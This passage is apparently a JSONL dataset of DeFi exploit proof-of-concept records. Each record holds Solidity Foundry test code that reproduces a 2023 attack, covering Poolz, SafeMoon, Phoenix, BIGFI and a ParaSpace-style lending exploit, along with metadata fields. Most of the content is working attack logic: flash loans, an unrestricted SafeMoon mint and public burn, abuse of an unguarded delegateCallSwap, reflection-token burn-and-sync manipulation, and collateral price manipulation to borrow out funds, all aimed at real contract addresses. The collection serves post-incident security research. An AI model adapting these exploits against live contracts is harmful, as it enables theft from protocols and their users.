address(mnz);\n path[1] = address(busd);\n path[2] = address(wbnb);\n pancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n mnz.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n receive() external payable {}\n}\n\ninterface IDPPAdvanced {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes memory data) external;\n}\n\ninterface LockedDeal {\n event NewPoolCreated(uint256 PoolId, address Token, uint64 FinishTime, uint256 StartAmount, address Owner);\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n event PoolApproval(uint256 PoolId, address Spender, uint256 Amount);\n event PoolOwnershipTransfered(uint256 PoolId, address NewOwner, address OldOwner);\n event TransferIn(uint256 Amount, address From, address Token);\n event TransferInETH(uint256 Amount, address From);\n event TransferOut(uint256 Amount, address To, address Token);\n event TransferOutETH(uint256 Amount, address To);\n\n function ApproveAllowance(uint256 _PoolId, uint256 _Amount, address _Spender) external;\n\n function CreateMassPools(\n address _Token,\n uint64[] memory _FinishTime,\n uint256[] memory _StartAmount,\n address[] memory _Owner\n ) external returns (uint256, uint256);\n\n function CreateNewPool(\n address _Token,\n uint64 _FinishTime,\n uint256 _StartAmount,\n address _Owner\n ) external returns (uint256);\n\n function CreatePoolsWrtTime(\n address _Token,\n uint64[] memory _FinishTime,\n uint256[] memory _StartAmount,\n address[] memory _Owner\n ) external returns (uint256, uint256);\n\n function GetFee() external view returns (uint16);\n\n function GetMinDuration() external view returns (uint16);\n\n function GetMyPoolsId() external view returns (uint256[] memory);\n\n function GetPoolAllowance(uint256 _PoolId, address _Address) external view returns (uint256);\n\n function GetPoolData(\n uint256 _id\n ) external view returns (uint64, uint256, address, address);\n\n function GovernerContract() external view returns (address);\n\n function IsPayble() external view returns (bool);\n\n function PozFee() external view returns (uint256);\n\n function PozTimer() external view returns (uint256);\n\n function SetFee(\n uint16 _fee\n ) external;\n\n function SetMinDuration(\n uint16 _minDuration\n ) external;\n\n function SetPOZFee(\n uint16 _fee\n ) external;\n\n function SetPozTimer(\n uint256 _pozTimer\n ) external;\n\n function SplitPoolAmount(uint256 _PoolId, uint256 _NewAmount, address _NewOwner) external returns (uint256);\n\n function SplitPoolAmountFrom(uint256 _PoolId, uint256 _Amount, address _Address) external returns (uint256);\n\n function SwitchIsPayble() external;\n\n function TransferPoolOwnership(uint256 _PoolId, address _NewOwner) external;\n\n function WhiteListId() external view returns (uint256);\n\n function WhiteList_Address() external view returns (address);\n\n function WithdrawERC20Fee(address _Token, address _to) external;\n\n function WithdrawETHFee(\n address _to\n ) external;\n\n function WithdrawToken(\n uint256 _PoolId\n ) external returns (bool);\n\n function isTokenFilterOn() external view returns (bool);\n\n function isTokenWhiteListed(\n address _tokenAddress\n ) external view returns (bool);\n\n function maxTransactionLimit() external view returns (uint256);\n\n function name() external view returns (string memory);\n\n function owner() external view returns (address);\n\n function renounceOwnership() external;\n\n function setGovernerContract(\n address _address\n ) external;\n\n function setMaxTransactionLimit(\n uint256 _newLimit\n ) external;\n\n function setWhiteListAddress(\n address _address\n ) external;\n\n function setWhiteListId(\n uint256 _id\n ) external;\n\n function swapTokenFilter() external;\n\n function transferOwnership(\n address newOwner\n ) external;\n\n receive() external payable;\n}\n", "type": "exploit_poc", "protocol": "poolz", "date": "2023-03", "file_name": "poolz_exp.sol", "attack_vector": "flash_loan", "content_hash": "c68a388183a0080d", "collected_at": "2026-01-07T10:59:16.547871", "_source": "postmortems", "chain": "unknown", "block_number": 26475403, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4, "quality_estimate": "low", "title": "poolz Exploit (2023-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.13;\n\nimport \"forge-std/Test.sol\";\n\ninterface IUniswapV2Router02 {\n function WETH() external pure returns (address);\n\n function routerTrade() external pure returns (address);\n}\n\ninterface ISafemoon {\n function uniswapV2Router() external returns (IUniswapV2Router02);\n\n function uniswapV2Pair() external returns (address);\n\n function bridgeBurnAddress() external returns (address);\n\n function approve(address spender, uint256 amount) external;\n\n function balanceOf(\n address account\n ) external view returns (uint256);\n\n function mint(address user, uint256 amount) external;\n\n function burn(address from, uint256 amount) external;\n}\n\ninterface ISafeSwapTradeRouter {\n struct Trade {\n uint256 amountIn;\n uint256 amountOut;\n address[] path;\n address payable to;\n uint256 deadline;\n }\n\n function getSwapFees(uint256 amountIn, address[] memory path) external view returns (uint256 _fees);\n\n function swapExactTokensForTokensWithFeeAmount(\n Trade calldata trade\n ) external payable;\n}\n\ninterface IWETH {\n function approve(address, uint256) external returns (bool);\n\n function transfer(address, uint256) external returns (bool);\n\n function balanceOf(\n address\n ) external view returns (uint256);\n}\n\ninterface IPancakePair {\n function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;\n}\n\ninterface IPancakeCallee {\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external;\n}\n\ninterface IUniswapV2Pair {\n function sync() external;\n}\n\ncontract SafemoonAttackerTest is Test, IPancakeCallee {\n ISafemoon public sfmoon;\n IPancakePair public pancakePair;\n IWETH public weth;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 26_854_757);\n\n sfmoon = ISafemoon(0x42981d0bfbAf196529376EE702F2a9Eb9092fcB5);\n pancakePair = IPancakePair(0x1CEa83EC5E48D9157fCAe27a19807BeF79195Ce1);\n weth = IWETH(sfmoon.uniswapV2Router().WETH());\n }\n\n function testMint() public {\n vm.rollFork(26_854_757);\n\n uint256 originalBalance = sfmoon.balanceOf(address(this));\n emit log_named_uint(\"sfmoon balance before:\", originalBalance);\n assertEq(originalBalance, 0);\n\n sfmoon.mint(address(this), sfmoon.balanceOf(sfmoon.bridgeBurnAddress()));\n\n uint256 currentBalance = sfmoon.balanceOf(address(this));\n emit log_named_uint(\"sfmoon balance after:\", currentBalance);\n assertEq(currentBalance, 81_804_509_291_616_467_966);\n }\n\n function testBurn() public {\n vm.rollFork(26_864_889);\n\n uint256 originalBalance = weth.balanceOf(address(this));\n emit log_named_uint(\"weth balance before:\", originalBalance);\n assertEq(originalBalance, 0);\n\n pancakePair.swap(1000 ether, 0, address(this), \"ggg\");\n\n uint256 currentBalance = weth.balanceOf(address(this));\n emit log_named_uint(\"weth balance after:\", currentBalance);\n assertEq(currentBalance, 27_463_848_254_806_782_408_231);\n }\n\n function doBurnHack(\n uint256 amount\n ) public {\n swappingBnbForTokens(amount);\n sfmoon.burn(sfmoon.uniswapV2Pair(), sfmoon.balanceOf(sfmoon.uniswapV2Pair()) - 1_000_000_000);\n sfmoon.burn(address(sfmoon), sfmoon.balanceOf(address(sfmoon)));\n IUniswapV2Pair(sfmoon.uniswapV2Pair()).sync();\n swappingTokensForBnb(sfmoon.balanceOf(address(this)));\n }\n\n function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {\n require(msg.sender == address(pancakePair));\n require(sender == address(this));\n\n doBurnHack(amount0);\n weth.transfer(msg.sender, (amount0 * 10_030) / 10_000);\n }\n\n function swappingBnbForTokens(\n uint256 tokenAmount\n ) private {\n address[] memory path = new address[](2);\n path[0] = address(weth);\n path[1] = address(sfmoon);\n\n ISafeSwapTradeRouter tradeRouter = ISafeSwapTradeRouter(sfmoon.uniswapV2Router().routerTrade());\n weth.approve(address(sfmoon.uniswapV2Router()), tokenAmount);\n\n uint256 feeAmount = tradeRouter.getSwapFees(tokenAmount, path);\n ISafeSwapTradeRouter.Trade memory trade = ISafeSwapTradeRouter.Trade({\n amountIn: tokenAmount,\n amountOut: 0,\n path: path,\n to: payable(address(this)),\n deadline: block.timestamp\n });\n tradeRouter.swapExactTokensForTokensWithFeeAmount{value: feeAmount}(trade);\n }\n\n function swappingTokensForBnb(\n uint256 tokenAmount\n ) private {\n address[] memory path = new address[](2);\n path[0] = address(sfmoon);\n path[1] = address(weth);\n\n ISafeSwapTradeRouter tradeRouter = ISafeSwapTradeRouter(sfmoon.uniswapV2Router().routerTrade());\n sfmoon.approve(address(sfmoon.uniswapV2Router()), tokenAmount);\n\n uint256 feeAmount = tradeRouter.getSwapFees(tokenAmount, path);\n ISafeSwapTradeRouter.Trade memory trade = ISafeSwapTradeRouter.Trade({\n amountIn: tokenAmount,\n amountOut: 0,\n path: path,\n to: payable(address(this)),\n deadline: block.timestamp\n });\n tradeRouter.swapExactTokensForTokensWithFeeAmount{value: feeAmount}(trade);\n }\n}\n", "type": "exploit_poc", "protocol": "safeMoon", "date": "2023-03", "file_name": "safeMoon_exp.sol", "attack_vector": null, "content_hash": "0aa30c52a964fa9c", "collected_at": "2026-01-07T10:59:16.547959", "_source": "postmortems", "chain": "unknown", "block_number": 26854757, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testMint() public {\n vm.rollFork(26_854_757);\n\n uint256 originalBalance = sfmoon.balanceOf(address(this));\n emit log_named_uint(\"sfmoon balance before:\", originalBalance);\n assertEq(originalBalance, 0);\n\n sfmoon.mint(address(this), sfmoon.balanceOf(sfmoon.bridgeBurnAddress()));\n\n uint256 currentBalance = sfmoon.balanceOf(address(this));\n emit log_named_uint(\"sfmoon balance after:\", currentBalance);\n assertEq(currentBalance, 81_804_509_291_616_467_966);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 4.71, "quality_estimate": "low", "title": "safeMoon Exploit (2023-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.17;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/HypernativeLabs/status/1633090456157401088\n// @TX\n// https://polygonscan.com/tx/0x6fa6374d43df083679cdab97149af8207cda2471620a06d3f28b115136b8e2c4\n// @Summary\n// PhxProxy contract delegateCallSwap() function lack of access control and can be passed in any parameter\n// The lost money is mainly USDC in the d028 contract which the attacker converts into WETH in the 65ba contract through the buyLeverage function\n// and then swaps it into his own tokens by the delegateCallSwap function, making a profit from it\n\ninterface IPHXPROXY {\n function buyLeverage(uint256 amount, uint256 minAmount, uint256 deadLine, bytes calldata /*data*/ ) external;\n function delegateCallSwap(\n bytes memory data\n ) external;\n}\n\ncontract ContractTest is Test {\n IERC20 USDC = IERC20(0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174);\n IERC20 WETH = IERC20(0x7ceB23fD6bC0adD59E62ac25578270cFf1b9f619);\n SHITCOIN MYTOKEN;\n IPHXPROXY phxProxy = IPHXPROXY(0x65BaF1DC6fA0C7E459A36E2E310836B396D1B1de);\n Uni_Router_V2 Router = Uni_Router_V2(0xa5E0829CaCEd8fFDD4De3c43696c57F7D7A678ff);\n address dodo = 0x1093ceD81987Bf532c2b7907B2A8525cd0C17295;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"polygon\", 40_066_946);\n vm.label(address(USDC), \"USDC\");\n vm.label(address(WETH), \"WETH\");\n vm.label(address(phxProxy), \"phxProxy\");\n vm.label(address(Router), \"Router\");\n vm.label(address(dodo), \"dodo\");\n }\n\n function testExploit() public {\n deal(address(WETH), address(this), 7 * 1e15);\n MYTOKEN = new SHITCOIN();\n MYTOKEN.mint(1_500_000 * 1e18);\n MYTOKEN.approve(address(Router), type(uint256).max);\n WETH.approve(address(Router), type(uint256).max);\n Router.addLiquidity(address(MYTOKEN), address(WETH), 7 * 1e15, 7 * 1e15, 0, 0, address(this), block.timestamp);\n\n DVM(dodo).flashLoan(0, 8000 * 1e6, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n USDC.approve(address(phxProxy), type(uint256).max);\n phxProxy.buyLeverage(8000 * 1e6, 0, block.timestamp, new bytes(0));\n uint256 swapAmount = WETH.balanceOf(address(phxProxy));\n bytes memory swapData =\n abi.encodeWithSelector(0xa9678a18, address(Router), address(WETH), address(MYTOKEN), swapAmount);\n phxProxy.delegateCallSwap(swapData); // WETH swap to MYTOKEN\n\n address[] memory path = new address[](3);\n path[0] = address(MYTOKEN);\n path[1] = address(WETH);\n path[2] = address(USDC);\n Router.swapExactTokensForTokens(1_000_000 * 1e18, 0, path, address(this), block.timestamp); // MYTOKEN swap to USDC\n\n USDC.transfer(dodo, 8000 * 1e6);\n }\n}\n\ncontract SHITCOIN {\n uint256 public totalSupply;\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n string public name = \"SHIT COIN\";\n string public symbol = \"SHIT\";\n uint8 public decimals = 18;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n function transfer(address recipient, uint256 amount) external returns (bool) {\n balanceOf[msg.sender] -= amount;\n balanceOf[recipient] += amount;\n emit Transfer(msg.sender, recipient, amount);\n return true;\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n allowance[msg.sender][spender] = amount;\n emit Approval(msg.sender, spender, amount);\n return true;\n }\n\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {\n allowance[sender][msg.sender] -= amount;\n balanceOf[sender] -= amount;\n balanceOf[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function mint(\n uint256 amount\n ) external {\n balanceOf[msg.sender] += amount;\n totalSupply += amount;\n emit Transfer(address(0), msg.sender, amount);\n }\n\n function burn(\n uint256 amount\n ) external {\n balanceOf[msg.sender] -= amount;\n totalSupply -= amount;\n emit Transfer(msg.sender, address(0), amount);\n }\n}\n", "type": "exploit_poc", "protocol": "Phoenix", "date": "2023-03", "file_name": "Phoenix_exp.sol", "attack_vector": "flash_loan", "content_hash": "3c1abbe7dbdc7eff", "collected_at": "2026-01-07T10:59:16.548014", "_source": "postmortems", "chain": "polygon", "block_number": 40066946, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n deal(address(WETH), address(this), 7 * 1e15);\n MYTOKEN = new SHITCOIN();\n MYTOKEN.mint(1_500_000 * 1e18);\n MYTOKEN.approve(address(Router), type(uint256).max);\n WETH.approve(address(Router), type(uint256).max);\n Router.addLiquidity(address(MYTOKEN), address(WETH), 7 * 1e15, 7 * 1e15, 0, 0, address(this), block.timestamp);\n\n DVM(dodo).flashLoan(0, 8000 * 1e6, address(this), new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5.39, "quality_estimate": "medium", "title": "Phoenix Exploit (2023-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @TX\n// https://bscscan.com/tx/0x9fe19093a62a7037d04617b3ac4fbf5cb2d75d8cb6057e7e1b3c75cbbd5a5adc\n// Related Events\n// https://github.com/SunWeb3Sec/DeFiHackLabs/#20230207---fdp---reflection-token\n// https://github.com/SunWeb3Sec/DeFiHackLabs/#20230126---tinu---reflection-token\n// https://github.com/SunWeb3Sec/DeFiHackLabs#20230210---sheep---reflection-token\n\ninterface RDeflationERC20 is IERC20 {\n function burn(\n uint256 amount\n ) external;\n}\n\ninterface ISwapFlashLoan {\n function flashLoan(address receiver, address token, uint256 amount, bytes memory params) external;\n}\n\ncontract ContractTest is Test {\n RDeflationERC20 BIGFI = RDeflationERC20(0xd3d4B46Db01C006Fb165879f343fc13174a1cEeB);\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n ISwapFlashLoan swapFlashLoan = ISwapFlashLoan(0x28ec0B36F0819ecB5005cAB836F4ED5a2eCa4D13);\n Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n Uni_Pair_V2 Pair = Uni_Pair_V2(0xA269556EdC45581F355742e46D2d722c5F3f551a);\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 26_685_503);\n cheats.label(address(BIGFI), \"BIGFI\");\n cheats.label(address(USDT), \"USDT\");\n cheats.label(address(swapFlashLoan), \"swapFlashLoan\");\n cheats.label(address(Router), \"Router\");\n cheats.label(address(Pair), \"Pair\");\n }\n\n function testExploit() external {\n swapFlashLoan.flashLoan(address(this), address(USDT), 200_000 * 1e18, new bytes(1));\n\n emit log_named_decimal_uint(\n \"Attacker USDT balance after exploit\", USDT.balanceOf(address(this)), USDT.decimals()\n );\n }\n\n function executeOperation(\n address pool,\n address token,\n uint256 amount,\n uint256 fee,\n bytes calldata params\n ) external payable {\n USDTToBIGFI();\n // Calculate the number of burns\n // beforebalanceOf(Pair) == (_rOwned(Pair) * before_tTotal / _rTotal)\n // to reduce the balanceOf(Pair) to 1 , the amount of _tTotal to burn = _tTotal - (_rTotal / _rOwned(Pair)) = _tTotal - (before_tTotal / beforebalanceOf(Pair))\n uint256 burnAmount = BIGFI.totalSupply() - 2 * (BIGFI.totalSupply() / BIGFI.balanceOf(address(Pair)));\n BIGFI.burn(burnAmount);\n Pair.sync();\n BIGFIToUSDT();\n\n USDT.transfer(address(swapFlashLoan), amount + fee);\n }\n\n function USDTToBIGFI() internal {\n USDT.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(USDT);\n path[1] = address(BIGFI);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n USDT.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n\n function BIGFIToUSDT() internal {\n BIGFI.approve(address(Router), type(uint256).max);\n address[] memory path = new address[](2);\n path[0] = address(BIGFI);\n path[1] = address(USDT);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n BIGFI.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n }\n}\n", "type": "exploit_poc", "protocol": "BIGFI", "date": "2023-03", "file_name": "BIGFI_exp.sol", "attack_vector": "flash_loan", "content_hash": "f6771c07ccd3f6e0", "collected_at": "2026-01-07T10:59:16.548066", "_source": "postmortems", "chain": "bsc", "block_number": 26685503, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 2.7, "quality_estimate": "low", "title": "BIGFI Exploit (2023-03)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @Analysis\n// https://twitter.com/BlockSecTeam/status/1636650252844294144\n// @TX\n// https://etherscan.io/tx/0xe3f0d14cfb6076cabdc9057001c3fafe28767a192e88005bc37bd7d385a1116a\n\ncontract ContractTest is Test {\n address _pcAPE = 0xDDDe38696FBe5d11497D72d8801F651642d62353;\n address _vDebtUSDC = 0x1B36ad30F6866716FF08EB599597D8CE7607571d;\n address _vDebtwstETH = 0xCA76D6D905b08e3224945bFA0340E92CCbbE5171;\n address _vDebtWETH = 0x87F92191e14d970f919268045A57f7bE84559CEA;\n address _APE = 0x4d224452801ACEd8B2F0aebE155379bb5D594381;\n address _USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;\n address _ParaProxy = 0x638a98BBB92a7582d07C52ff407D49664DC8b3Ee;\n address _WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;\n address _wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;\n address _cAPE = 0xC5c9fB6223A989208Df27dCEE33fC59ff5c26fFF;\n address _Apecoin__Staking = 0x5954aB967Bc958940b7EB73ee84797Dc8a2AFbb9;\n address _Uniswap_V3__Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;\n address _proxy = 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;\n\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n\n function setUp() public {\n cheats.createSelectFork(\"mainnet\", 16_845_558);\n cheats.label(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0, \"_wstETH\");\n cheats.label(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, \"_WETH\");\n cheats.label(0xDDDe38696FBe5d11497D72d8801F651642d62353, \"_pcAPE\");\n cheats.label(0x4d224452801ACEd8B2F0aebE155379bb5D594381, \"_APE\");\n cheats.label(0x1B36ad30F6866716FF08EB599597D8CE7607571d, \"_vDebtUSDC\");\n cheats.label(0xC5c9fB6223A989208Df27dCEE33fC59ff5c26fFF, \"_cAPE\");\n cheats.label(0xCA76D6D905b08e3224945bFA0340E92CCbbE5171, \"_vDebtwstETH\");\n cheats.label(0x87F92191e14d970f919268045A57f7bE84559CEA, \"_vDebtWETH\");\n cheats.label(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, \"_USDC\");\n cheats.label(0x638a98BBB92a7582d07C52ff407D49664DC8b3Ee, \"_ParaProxy\");\n cheats.label(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2, \"_proxy\");\n cheats.label(0x5954aB967Bc958940b7EB73ee84797Dc8a2AFbb9, \"_Apecoin__Staking\");\n cheats.label(0xE592427A0AEce92De3Edee1F18E0157C05861564, \"_Uniswap_V3__Router\");\n }\n\n function testExploit() external {\n emit log_named_uint(\"Before exploit, _WETH balance of Attacker:\", IERC20(_WETH).balanceOf(address(this)));\n emit log_named_uint(\"Before exploit, _pcAPE balance of Exploit:\", IERC20(_pcAPE).balanceOf(address(this)));\n emit log_named_uint(\n \"Before exploit, _vDebtUSDC balance of Exploit:\", IERC20(_vDebtUSDC).balanceOf(address(this))\n );\n emit log_named_uint(\n \"Before exploit, _vDebtWETH balance of Exploit:\", IERC20(_vDebtWETH).balanceOf(address(this))\n );\n emit log_named_uint(\"Before exploit, _cAPE balance of Exploit:\", IERC20(_cAPE).balanceOf(address(this)));\n emit log_named_uint(\n \"Before exploit, _vDebtwstETH balance of Exploit:\", IERC20(_vDebtwstETH).balanceOf(address(this))\n );\n\n // () -> ()\n _proxy.call(\n abi.encodePacked(\n bytes4(0x42b0b77c),\n abi.encode(address(this), _wstETH, uint256(47_352_823_905_004_708_422_332), new bytes(0), uint16(0))\n )\n );\n\n emit log_named_uint(\"After exploit, _WETH balance of Attacker:\", IERC20(_WETH).balanceOf(address(this)));\n emit log_named_uint(\"After exploit, _pcAPE balance of Exploit:\", IERC20(_pcAPE).balanceOf(address(this)));\n emit log_named_uint(\n \"After exploit, _vDebtUSDC balance of Exploit:\", IERC20(_vDebtUSDC).balanceOf(address(this))\n );\n emit log_named_uint(\n \"After exploit, _vDebtWETH balance of Exploit:\", IERC20(_vDebtWETH).balanceOf(address(this))\n );\n emit log_named_uint(\"After exploit, _cAPE balance of Exploit:\", IERC20(_cAPE).balanceOf(address(this)));\n emit log_named_uint(\n \"After exploit, _vDebtwstETH balance of Exploit:\", IERC20(_vDebtwstETH).balanceOf(address(this))\n );\n }\n\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 sqrtPriceLimitX96;\n }\n\n struct ExactOutputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 deadline;\n uint256 amountOut;\n uint256 amountInMaximum;\n uint160 sqrtPriceLimitX96;\n }\n\n function executeOperation(\n address asset,\n uint256 amount,\n uint256 premium,\n address initiator,\n bytes calldata params\n ) public payable returns (bool) {\n // approve(spender, amount) -> (bool _: true)\n _cAPE.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_ParaProxy, type(uint256).max)));\n\n for (uint256 i = 0; i < 8; i++) {\n Slave _slave = new Slave();\n if (i == 6) {\n // transfer(recipient, amount) -> (bool _: true)\n _wstETH.call(\n abi.encodePacked(\n bytes4(0xa9059cbb), abi.encode(address(_slave), uint256(3_676_225_912_400_376_673_786))\n )\n );\n _slave.remove(1_120_000_000_000_000_000_000_000);\n } else {\n // transfer(recipient, amount) -> (bool _: true)\n _wstETH.call(\n abi.encodePacked(\n bytes4(0xa9059cbb), abi.encode(address(_slave), uint256(6_039_513_998_943_475_964_078))\n )\n );\n _slave.remove(1_840_000_000_000_000_000_000_000);\n }\n\n if (i != 7) {\n // supply(asset, amount, onBehalfOf, referralCode) -> ()\n _ParaProxy.call(\n abi.encodePacked(\n bytes4(0x617ba037),\n abi.encode(_cAPE, IERC20(_cAPE).balanceOf(address(this)), address(this), uint256(0))\n )\n );\n }\n }\n\n // approve(spender, amount) -> (bool _: true)\n _wstETH.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_Uniswap_V3__Router, type(uint256).max)));\n\n // exactInputSingle(ExactInputSingleParams calldata params) -> (uint256 amountOut) 1334451948153998962969\n ExactInputSingleParams memory _var4 = ExactInputSingleParams({\n tokenIn: _wstETH,\n tokenOut: _WETH,\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp + 1000,\n amountIn: 1_400_000_000_000_000_000_000,\n amountOutMinimum: 1_300_000_000_000_000_000_000,\n sqrtPriceLimitX96: 0\n });\n _Uniswap_V3__Router.call(abi.encodePacked(bytes4(0x414bf389), abi.encode(_var4)));\n\n // approve(spender, amount) -> (bool _: true)\n _WETH.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_Uniswap_V3__Router, type(uint256).max)));\n\n // exactInputSingle(ExactInputSingleParams calldata params) -> (uint256 amountOut) 492214464588784613678468\n ExactInputSingleParams memory _var6 = ExactInputSingleParams({\n tokenIn: _WETH,\n tokenOut: _APE,\n fee: 3000,\n recipient: address(this),\n deadline: block.timestamp + 1000,\n amountIn: IERC20(_WETH).balanceOf(address(this)),\n amountOutMinimum: 480_000_000_000_000_000_000_000,\n sqrtPriceLimitX96: 0\n });\n _Uniswap_V3__Router.call(abi.encodePacked(bytes4(0x414bf389), abi.encode(_var6)));\n\n // withdraw(amount) -> ()\n _cAPE.call(abi.encodePacked(bytes4(0x2e1a7d4d), abi.encode(IERC20(_cAPE).balanceOf(address(this)))));\n\n // approve(spender, amount) -> (bool _: true)\n _APE.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_Apecoin__Staking, type(uint256).max)));\n\n // depositApeCoin(amount,recipient) -> ()\n _Apecoin__Staking.call(\n abi.encodePacked(bytes4(0xbd5023a9), abi.encode(IERC20(_APE).balanceOf(address(this)), _cAPE))\n );\n\n // approve(spender, amount) -> (bool _: true)\n _cAPE.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_ParaProxy, type(uint256).max)));\n\n // borrow(asset, amount, referralCode, onBehalfOf) -> ()\n _ParaProxy.call(\n abi.encodePacked(\n bytes4(0x1d5d7237),\n abi.encode(_wstETH, uint256(44_952_823_905_004_708_422_332), uint256(0), address(this))\n )\n );\n\n // borrow(asset, amount, referralCode, onBehalfOf) -> ()\n _ParaProxy.call(\n abi.encodePacked(\n bytes4(0x1d5d7237), abi.encode(_USDC, uint256(7_200_000_000_000), uint256(0), address(this))\n )\n );\n\n // borrow(asset, amount, referralCode, onBehalfOf) -> ()\n _ParaProxy.call(\n abi.encodePacked(\n bytes4(0x1d5d7237), abi.encode(_WETH, uint256(1_200_000_000_000_000_000_000), uint256(0), address(this))\n )\n );\n\n // approve(spender, amount) -> (bool _: true)\n _USDC.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_Uniswap_V3__Router, 